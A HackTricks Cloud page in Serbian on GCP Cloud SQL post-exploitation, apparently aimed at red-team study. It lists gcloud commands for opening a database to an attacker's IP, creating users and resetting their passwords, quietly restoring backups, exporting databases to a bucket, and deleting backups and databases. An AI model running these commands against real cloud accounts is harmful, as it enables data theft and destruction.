GCP - Cloud SQL Post Exploitation
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Cloud SQL
Za više informacija o Cloud SQL, proverite:
cloudsql.instances.update
, ( cloudsql.instances.get
)
Da biste se povezali sa bazama podataka, samo vam je potreban pristup portu baze podataka i da znate korisničko ime i lozinku, nema zahteva za IAM. Dakle, lak način da dobijete pristup, pod pretpostavkom da baza podataka ima javnu IP adresu, je da ažurirate dozvoljene mreže i dozvolite svojoj IP adresi da joj pristupi.
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet
mysql -h <ip_db> # If mysql
# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet
Takođe je moguće koristiti --no-backup
da ometate rezervne kopije baze podataka.
S obzirom na to da su ovo zahtevi, nisam potpuno siguran koje su dozvole cloudsql.instances.connect
i cloudsql.instances.login
. Ako znate, pošaljite PR!
cloudsql.users.list
Dobijte spisak svih korisnika baze podataka:
gcloud sql users list --instance <intance-name>
cloudsql.users.create
Ova dozvola omogućava kreiranje novog korisnika unutar baze podataka:
gcloud sql users create <username> --instance <instance-name> --password <password>
cloudsql.users.update
Ova dozvola omogućava ažuriranje korisnika unutar baze podataka. Na primer, mogli biste promeniti njegovu lozinku:
gcloud sql users set-password <username> --instance <instance-name> --password <password>
cloudsql.instances.restoreBackup
, cloudsql.backupRuns.get
Backup-i mogu sadržati stare osetljive informacije, pa je zanimljivo proveriti ih.
Vratite backup unutar baze podataka:
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
Da bi se to uradilo na diskretniji način, preporučuje se da se kreira nova SQL instanca i da se podaci povuku tamo umesto u trenutno aktivnim bazama podataka.
cloudsql.backupRuns.delete
Ova dozvola omogućava brisanje rezervnih kopija:
gcloud sql backups delete <backup-id> --instance <instance-id>
cloudsql.instances.export
, storage.objects.create
Izvezite bazu podataka u Cloud Storage Bucket kako biste mogli da joj pristupite odatle:
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
cloudsql.instances.import
, storage.objects.get
Uvezi bazu podataka (prepiši) iz Cloud Storage Bucket-a:
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
cloudsql.databases.delete
Obriši bazu podataka iz db instance:
gcloud sql databases delete <db-name> --instance <instance-id>
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.